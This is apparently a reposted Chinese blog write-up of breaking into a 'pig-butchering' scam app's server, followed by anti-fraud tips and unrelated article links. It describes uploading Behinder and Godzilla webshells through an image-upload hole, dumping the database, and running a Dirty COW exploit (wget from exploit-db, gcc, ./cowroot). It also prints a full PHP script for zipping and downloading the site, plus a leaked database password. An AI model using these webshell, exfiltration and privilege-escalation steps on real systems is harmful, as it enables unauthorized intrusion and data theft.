记一次杀猪盘的渗透之旅

news2024/11/18 3:34:49

所谓“杀猪盘”,是指诈骗分子利用网络交友通常是“异性”交友,诱导受害人下载诈骗APP并在上面进行各种“投资”,如菠菜、股票、期货甚至虚拟货币的网络诈骗。今年某月某日小白就遭遇了这种骗局,他先是被骗子通过QQ添加并下载了一个名为”心动“的APP,在“心动“APP上结识了位名为“xx老师”的美女,小白被美色迷了眼打算相约这名网友,但是美女则借口让他下载另一个名为午夜乐园的APP进行投资,果不其然小白被成功骗取10余万。

0x01 APP测试准备

根据小白的描述,我们关注到以下几点信息,分别是
QQ、“心动”APP以及“午夜乐园”APP,但是小白因不堪被骗将骗子QQ删除了。所以我们无法从QQ号这点进行入手,但是这两个APP的APK包倒是存在,于是开始渗透分析。

安装APP

使用夜神模拟器安装这两个APP,为了方便起见就使用安卓5.0版本,否则无法抓取到 https 数据包

小知识:从 Android 7.0 开始,默认的网络安全性配置修改,默认不再信任用户添加的 CA 证书,也就不再信任抓包工具的证书

image因为“午夜乐园”APP需要邀请码才能注册,所以我们先安装“心动”APPimage

设置抓包

在 BurpSuite 中设置监听地址以及监听端口,其中地址为内网的IP地址image设置网络中的 HTTP 代理为 BurpSuite 中的代理地址和端口image访问百度,在 Burp Suite 中成功抓取到数据包image现在针对 http 协议的数据包都可以抓取到了

安装证书

接下来为了抓取到 https 的数据包,我们需要为其安装 CA 证书image访问https://burp点击CA开始下载证书,下载完成后在设置中找到安全image选择从SD卡安装image选择之前下载的证书并为证书命名image用户凭据中已存在证书image访问https://www.baidu.comimage在 Burp Suite 中成功抓取到 https 数据包image

0x02 上线shell

初探上传漏洞

在APP中注册一个测试账号image发现在发布动态处存在文件上传image使用 Burp Suite 截取数据包,测试后发现目标站点只返回0或1image上传后在朋友圈界面发现该功能正常,那么对应的图片路径在哪呢?image通过抓包发现该图片的具体地址image修改数据包将其文件名后缀修改为php时则无法上传,可能存在防护机制image

文件上传漏洞获取webshell

尝试了几种绕过方式无果后,在朋友圈背景图片发现文件上传点,将冰蝎上传image幸运的是目标直接返回了木马地址,使用冰蝎连接目标image至此 webshell 成功上线,但可惜的是这是 docker 环境。同时为了维持对目标站点的控制,继续上传了一个哥斯拉马image

0x03 信息收集

查看当前环境

查看当前用户为普通的 www 用户,能够执行一些简单的命令image查看文件管理,发现网站下存在 thinkphp 框架,开始寻找配置文件image

数据库登录

在配置文件中发现数据库连接文件return [// 数据库类型’type’=> Env::get(‘database.type’, ‘mysql’),// 服务器地址’hostname’=> Env::get(‘database.hostname’, ‘192.168.0.59’),// 数据库名’database’=> Env::get(‘database.database’, ‘netchat’),// 用户名’username’=> Env::get(‘database.username’, ‘root’),// 密码’password’=> Env::get(‘database.password’, ‘MysqlNetchatPWD#’),// 端口’hostport’=> Env::get(‘database.hostport’, ‘3305’),];由于无法通过冰蝎无法连接数据库,我们上传 adminer 连接数据库,将服务器地址设置为192.168.0.59:3305,输入账号和密码image在 adminer 中选择数据库导出,将当前数据库直接打包下载image

后台地址与账号密码

在数据库中还有些意外收获,里面包含了一些管理员的账号密码image经过解密后发现 admin666 密码为123456image查看 admin_log 表后发现登录地址为https://xx.xx.xx.xx/adim888/index/loginimage访问后为如下界面,我们只需要输入账号密码与谷歌验证码即可登录,为了不打草精神未直接登录后台。image

打包网站

接下来为了方便分析,使用如下脚本打包整个网站进行下载<?php error_reporting(0); class PHPZip{var $dirInfo = array("0","0");var $datasec = array();var $ctrl_dir = array();var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";var $old_offset = 0; function createZip($dir, $zipfilename){if (@function_exists('gzcompress')){@set_time_limit("0");if (is_array($dir)){$fd = fopen ($dir, "r");$fileValue = fread ($fd, filesize ($filename));fclose ($fd);if (is_array($dir)) $filename = basename($dir);$this -> addFile($fileValue, "$filename");}else{$this->dirTree($dir,$dir);} $out = $this -> filezip();$fp = fopen($zipfilename, "w");fwrite($fp, $out, strlen($out));fclose($fp);$filesize = filesize($zipfilename); if ($filesize < 104857600) {echo "create zip success!";} else {echo "create zip error!";}} } //get dir tree..function dirTree($directory,$rootDir){$fileDir = $rootDir;$myDir = dir($directory);while($file=$myDir->read()){if(is_dir("$directory/$file") and $file!="." and $file!=".."){$this->dirInfo[0]++;$rootDir ="$fileDir$file/";$this -> addFile('', "$rootDir"); //go on n's folders$this->dirTree("$directory/$file",$rootDir);}else{if($file!="." and $file!=".."){$this->dirInfo[1]++;$fileValue = file_get_contents("$directory/$file");$this -> addFile($fileValue, "$fileDir$file");}}}$myDir->close();} function unix2DosTime($unixtime = 0) {$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); if ($timearray['year'] < 1980) { $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0;} // end if return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);} function addFile($data, $name, $time = 0){$name = str_replace('\\', '/', $name); $dtime = dechex($this->unix2DosTime($time));$hexdtime = '\x' . $dtime[6] . $dtime[7]. '\x' . $dtime[4] . $dtime[5]. '\x' . $dtime[2] . $dtime[3]. '\x' . $dtime[0] . $dtime[1];eval('$hexdtime = "' . $hexdtime . '";'); $fr = "\x50\x4b\x03\x04";$fr .= "\x14\x00";// ver needed to extract$fr .= "\x00\x00";// gen purpose bit flag$fr .= "\x08\x00";// compression method$fr .= $hexdtime; // last mod time and date // "local file header" segment$unc_len = strlen($data);$crc = crc32($data);$zdata = gzcompress($data);$c_len = strlen($zdata);$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); // fix crc bug$fr .= pack('V', $crc); // crc32$fr .= pack('V', $c_len); // compressed filesize$fr .= pack('V', $unc_len); // uncompressed filesize$fr .= pack('v', strlen($name));// length of filename$fr .= pack('v', 0);// extra field length$fr .= $name; // "file data" segment$fr .= $zdata; // "data descriptor" segment (optional but necessary if archive is not// served as file)$fr .= pack('V', $crc); // crc32$fr .= pack('V', $c_len); // compressed filesize$fr .= pack('V', $unc_len); // uncompressed filesize // add this entry to array$this -> datasec[] = $fr;$new_offset= strlen(implode('', $this->datasec)); // now add to central directory record$cdrec = "\x50\x4b\x01\x02";$cdrec .= "\x00\x00";// version made by$cdrec .= "\x14\x00";// version needed to extract$cdrec .= "\x00\x00";// gen purpose bit flag$cdrec .= "\x08\x00";// compression method$cdrec .= $hexdtime; // last mod time & date$cdrec .= pack('V', $crc); // crc32$cdrec .= pack('V', $c_len); // compressed filesize$cdrec .= pack('V', $unc_len); // uncompressed filesize$cdrec .= pack('v', strlen($name) ); // length of filename$cdrec .= pack('v', 0 ); // extra field length$cdrec .= pack('v', 0 ); // file comment length$cdrec .= pack('v', 0 ); // disk number start$cdrec .= pack('v', 0 ); // internal file attributes$cdrec .= pack('V', 32 );// external file attributes - 'archive' bit set $cdrec .= pack('V', $this -> old_offset ); // relative offset of local header$this -> old_offset = $new_offset; $cdrec .= $name; // optional extra field, file comment goes here// save to central directory$this -> ctrl_dir[] = $cdrec;} function filezip(){$data = implode('', $this -> datasec);$ctrldir = implode('', $this -> ctrl_dir); return$data .$ctrldir .$this -> eof_ctrl_dir .pack('v', sizeof($this -> ctrl_dir)) .// total # of entries "on this disk"pack('v', sizeof($this -> ctrl_dir)) .// total # of entries overallpack('V', strlen($ctrldir)) . // size of central dirpack('V', strlen($data)) .// offset to start of central dir"\x00\x00"; // .zip file comment length}} $zip = new PHPZip(); $path = $_GET['path'];$filename = $_GET['filename'];if (isset($path)&&isset($filename)) {$zip -> createZip($path, $filename);} else {echo "please input correct path and filename, like http://example.com?path=/home&filename=home.zip";} ?>### IP地址查询

通过简单的sql语句对 admin 登录日志进行查询select distinct ip from yl_admin_log limit 50image发现该站点的登录IP都是国外的IP,猜测网站管理员都是通过代理或本身就在国外访问的后台image而查询 yl_core_ip 表中发现了一个IPimage查询微步后,该IP已经被打上了恶意地址标签image

0x04 权限提升

由于当前权限比较低,我们也需要拿到 docker 环境下的 root 权限,但是我没有提权成功,自然也无法利用 docker
逃逸来跳到其真实环境下。这里演示下我使用脏牛提权的失败记录吧。

系统信息收集uname -acat /etc/issueimage当前系统为 Debian GNU/Linux 10

漏洞查询

上传linuxenumlinux-exploit-suggestor,赋予执行权限并执行chmod 777 linuxenum.shchmod 777 linux-exploit-suggestor.shimageimage

脏牛提权

通过 linux-exploit-suggestor 返回的结果,其中存在脏牛漏洞wget https://www.exploit-db.com/download/40616 ##这里我直接上传了mv 40616 cowroot.c## 正式从这开始gcc cowroot.c -o cowroot -pthreadchmod +x cowroot./cowroot失败过程就不截图了

0x05 受骗分析及警示

登录客服查看聊天记录

在数据库中还有相关客服用户的账号密码,直接解码后面的 base64 编码就可以获取到明文image登录几个客服用户进行查看image

杀猪盘流程

这里我们也根据小白的注册时间找到了它的账号,为q123456ximage通过注册IP确认该用户为受害人账号。但是尝试登录后发现该用户已经被锁定,在数据库中发现该用户的islogin为0,修改为1后还是无法登录,通过查看管理员的操作记录,发现其一直在封锁账号。image再根据几个客服的聊天记录,我们总结了”杀猪盘“流程1、招揽有“交友”目的的年轻人2、通过客服为其提供“服务”3、安排”漂亮姐姐“骗取年轻人投资4、年轻人欲望上头开始投资5、最终被骗人财两空### 警示

1、警惕在私聊中呈现的完美对象,完美人设往往就是诱饵2、切勿和陌生人谈钱、一起投资,记住,网上“对象”也是陌生人3、切勿下载安装网上各类投资菠菜APP链接,不要在未验证网站投资4、不向未验证的陌生账户转账汇款5、不要参与网上菠菜,涉嫌违法。6、不要被欲望冲昏了头

生人3、切勿下载安装网上各类投资菠菜APP链接,不要在未验证网站投资4、不向未验证的陌生账户转账汇款5、不要参与网上菠菜,涉嫌违法。6、不要被欲望冲昏了头

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/791811.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

wireshark实战tcp三次握手和四次挥手

1 、安装好后wireshark后,由于我本地起了一个服务,所以我选择的是本地回环地址的这个选项,如下图(网络接口可以选择其它选项). 2、点击进去之后,在头部的栏上输入下面内容并且回车 ip.addr192.168.3.16 and tcp.port80803、浏览器发送请求 http://192.168.3.16:8080/tomcat_te…

Baumer工业相机堡盟工业相机如何通过BGAPI SDK获取相机当前实时帧率(C#)

Baumer工业相机堡盟工业相机如何通过BGAPISDK里函数来计算相机的实时帧率&#xff08;C#&#xff09; Baumer工业相机Baumer工业相机的帧率的技术背景Baumer工业相机的帧率获取方式CameraExplorer如何查看相机帧率信息在BGAPI SDK里通过函数获取相机帧率 Baumer工业相机通过BGA…

集群间ssh配置免密登录

ssh免密配置&#xff0c;可以将ssh生成的密钥分发给目标主机&#xff0c;之后再用ssh访问目标主机时就无需输入密码 下面我们来配置用centos71免密登录centos72主机 使用下面指令生成一个密钥 ssh-keygen其中会提示&#xff0c;是否输入密码短语&#xff0c;这里不输入&#…

一份关于windows server服务器的安全漏洞处理建议(来自绿盟安全评估)

文章目录 前言一、服务器主机存在漏洞应该怎么修复&#xff1f; 二、报告中的高危漏洞&#xff08;部分展示&#xff09;1.Microsoft Windows CredSSP 远程执行代码漏洞(CVE-2018-0886)2.SSL/TLS协议信息泄露漏洞(CVE-2016-2183)3.SSL/TLS RC4 信息泄露漏洞(CVE-2013-2566)4.SS…

【飞书】飞书导出md文档 | 飞书markdown文档导出 | 解决飞书只能导出pdf word

一、飞书导出markdown github地址&#xff1a;https://github.com/Wsine/feishu2md 这是一个下载飞书文档为 Markdown 文件的工具&#xff0c;使用 Go 语言实现。 请看这里&#xff1a;招募有需求和有兴趣的开发者&#xff0c;共同探讨开发维护&#xff0c;有兴趣请联系。 二、…

【日常分享】Xposed框架究竟是啥?

今天在处理一个客户App加固的时候&#xff0c;看到老大用到了Xposed&#xff0c;一时竟不知道这是什么东西。今天就沉下心来&#xff0c;写写做个笔记。 一、Xposed狂阿基是什么&#xff1f; Xposed 是一个在 Android 系统上运行的开源框架&#xff0c;它允许用户在不修改应用…

MacDroid for Mac:在Mac上访问和传输Android文件的最简单方式

MacDroid for Mac是一款帮助用户在Mac和Android设备之间传输文件的软件。由于Mac OS X本身并不支持MTP协议&#xff0c;所以透过USB将Android设备连接到Mac电脑上是无法识别的&#xff0c;更别说读取里面的文件了。 MacDroid可以帮助您轻松搞定这个问题&#xff0c;您可以将An…

微服务划分的原则

微服务的划分 微服务的划分要保证的原则 单一职责原则 1、耦合性也称块间联系。指软件系统结构中各模块间相互联系紧密程度的一种度量。模块之间联系越紧密&#xff0c;其耦合性就越强&#xff0c;模块的独立性则越差。模块间耦合高低取决于模块间接口的复杂性、调用的方式及…

新兴职业:数据标注师你知道多少?

一、什么是数据标注师&#xff1f; 说起人工智能&#xff0c;就基本上绕不过数据标注这一步。数据标注是指将原始数据中的特定信息进行人工标记或注释&#xff0c;以便用于机器学习或深度学习算法的训练和评估。数据标注的目的是为了让机器能够理解和识别原始数据中的特定模式…

Sealos 私有化部署完全指南

Sealos 用了五年的时间从一个 K8s 一键安装工具蜕变成了一个真正的云操作系统&#xff0c;将产品体验提升到了极致&#xff0c;也收获了 10w 的社区用户。 一个多月前&#xff0c;Sealos 正式发布了公有云托管版本&#xff0c;社区用户狂喜&#xff0c;纷纷寻找私有化部署教程…

Appium+python自动化(二十四) - 元素等待(超详解)

思考 在自动化过程中&#xff0c;元素出现受网络环境&#xff0c;设备性能等多种因素影响。因此元素加载的时间可能不一致&#xff0c;从而会导致元素无法定位超时报错&#xff0c;但是实际上元素是正常加载了的&#xff0c;只是出现时间晚一点而已。那么如何解决这个问题呢&am…

用Git远程仓库实现多人协同开发

(创作不易&#xff0c;感谢有你&#xff0c;你的支持&#xff0c;就是我前行的最大动力&#xff0c;如果看完对你有帮助&#xff0c;请留下您的足迹&#xff09; 目录 分支 初识分支 分支-合并与删除 分支-合并与提交 分支-合并冲突 Git 常用命令 Git 远程仓库 Git 远…

Spring Cloud Stream

1.binder 2.binging 3.Message 4.个性化使用方法 5.统一分组消费机制

【如何训练一个中英翻译模型】LSTM机器翻译seq2seq字符编码(一)

系列文章 【如何训练一个中英翻译模型】LSTM机器翻译seq2seq字符编码&#xff08;一&#xff09; 【如何训练一个中英翻译模型】LSTM机器翻译模型训练与保存&#xff08;二&#xff09; 【如何训练一个中英翻译模型】LSTM机器翻译模型部署&#xff08;三&#xff09; 【如何训…

汽车交流充电桩控制主板的电路设计

汽车充电桩控制主板的电路设计 你是否曾经遇到过汽车没油的问题?但是&#xff0c;随着电动汽车的普及&#xff0c;充电问题也变得越来越重要。而汽车充电桩控制板电路设计则是解决这一问题的关键。 汽车充电桩控制板电路设计包括硬件电路设计、软件电路设计和安全性设计。硬件…

面试题 汇总

一、 七层模型和五层模型以及对应的作用 二、 TCP和UDP的区别 UDPTCP是否连接无连接面向连接是否可靠不可靠传输,不使用流量控制和拥塞控制可靠传输,使用流量控制和拥塞控制连接对象个数支持一对一,一对多,多对一和多对多交互通信只能是一对一通信传输方式面向报文面向字节…

deathnote1靶场详解

deathnote1靶场复盘 靶机下载地址&#xff1a;https://download.vulnhub.com/deathnote/Deathnote.ova 首先nmap -sP 192.168.102.0/24 找到ip后对ip进行一个单独的扫描&#xff0c;查看都开启了什么服务。 打开后发现ip变成了域名。 我们就在kali的hosts文件中添加一条域名…

C++运算符:优先级

#include <iostream> using namespace std;//#define INT int //宏命令 // typedef int BOO; //移动 // INT a10; // BOO b 12;void fun(string& str) {int pos str.find(a);cout << "位置" << pos << endl;str.replace(pos,…

【如何训练一个中英翻译模型】LSTM机器翻译模型训练与保存(二)

系列文章 【如何训练一个中英翻译模型】LSTM机器翻译seq2seq字符编码&#xff08;一&#xff09; 【如何训练一个中英翻译模型】LSTM机器翻译模型训练与保存&#xff08;二&#xff09; 【如何训练一个中英翻译模型】LSTM机器翻译模型部署&#xff08;三&#xff09; 【如何训…

《2023年数字政府蓝皮报告》(127页)

导读 本报告从国家对数字政府建设要求出发&#xff0c;立足时代发展需要&#xff0c;结合各地建设实践&#xff0c;将数字政府典型业务场景梳理归纳为: 经济调节类、市场监管类、社会管理类、公共服务类、环境保护类、政务运行类六大类、22 类二级业务场景、89 类三级细分场景…